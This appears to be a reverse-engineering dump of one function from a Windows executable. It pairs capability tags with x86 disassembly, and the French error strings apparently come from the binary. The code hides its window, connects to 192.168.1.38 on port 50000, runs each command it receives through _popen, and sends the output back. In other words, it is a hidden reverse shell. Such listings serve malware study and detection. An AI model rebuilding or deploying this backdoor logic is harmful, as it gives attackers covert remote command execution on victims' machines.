Function at 0x401040
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x308c
call fcn.00401f80
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x3088], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 6
push edi
call esi
push 0
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4010c1
push eax
push str.Erreur_lors_de_linitialisation_de_Winsock_:__d_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3088]
xor ecx, esp
call fcn.004012ed
mov esp, ebp
pop ebp
ret
push 0x3e7
lea eax, [esp + 0x1b4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [esp + 0xc], esi
cmp esi, 0xffffffff
jne 0x40112f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Erreur_lors_de_la_cr
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3088]
xor ecx, esp
call fcn.004012ed
mov esp, ebp
pop ebp
ret
push str.192.168.1.38
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x14], eax
mov eax, 2
push 0xc350
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4011b2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Erreur_lors_de_la_connexion_:__d_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3088]
xor ecx, esp
call fcn.004012ed
mov esp, ebp
pop ebp
ret
push 0
push 0x3e7
lea eax, [esp + 0x1b8]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4012c9
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
nop word [eax + eax]
push 0x270f
lea eax, [esp + 0x984]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1b0]
push 0x4021d8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov ebx, eax
lea eax, [esp + 0x5a0]
push ebx
push 0x3e6
push eax
call edi
add esp, 0x14
test eax, eax
je 0x401278
lea eax, [esp + 0x598]
mov esi, eax
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401230
lea edi, [esp + 0x980]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401241
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x598]
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
push 0x3e6
push eax
call edi
add esp, 0xc
test eax, eax
jne 0x401223
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x980]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401282
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x988]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [esp + 0x1b0]
push 0
push 0x3e7
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4011e0
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x3094]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004012ed
mov esp, ebp
pop ebp
ret